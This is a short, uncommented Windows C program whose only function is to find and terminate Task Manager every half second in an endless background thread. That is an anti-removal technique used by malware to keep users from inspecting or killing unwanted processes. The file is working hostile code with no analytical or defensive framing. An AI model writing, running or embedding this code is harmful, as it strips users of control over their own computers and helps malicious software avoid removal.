#include <Windows.h>
#include <TlHelp32.h>


void TerminateTaskMgr(void)
{
	PROCESSENTRY32 pe32;
	HANDLE snapshot = NULL;
	HANDLE hProcess = NULL;
	DWORD ProcessID = 0;

	if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != INVALID_HANDLE_VALUE)
	{
		RtlZeroMemory(&pe32, sizeof(PROCESSENTRY32));
		pe32.dwSize = sizeof(PROCESSENTRY32);
		Process32First(snapshot, &pe32);
		do
		{
			if (lstrcmp(pe32.szExeFile, TEXT("Taskmgr.exe")) == 0)
			{
				ProcessID = pe32.th32ProcessID;
				break;
			}
		} while (Process32Next(snapshot, &pe32));
		if (ProcessID)
		{
			hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessID);
			if (hProcess)
				TerminateProcess(hProcess, 0);
			CloseHandle(hProcess);
		}
	}
	CloseHandle(snapshot);
}

void TerminateRoutine(void *p)
{
	while (1)
	{
		TerminateTaskMgr();
		Sleep(500);
	}
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
{
	DWORD ThreadID = 0;
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)TerminateRoutine, NULL, 0, &ThreadID);

	WaitForSingleObject(hThread, INFINITE);
}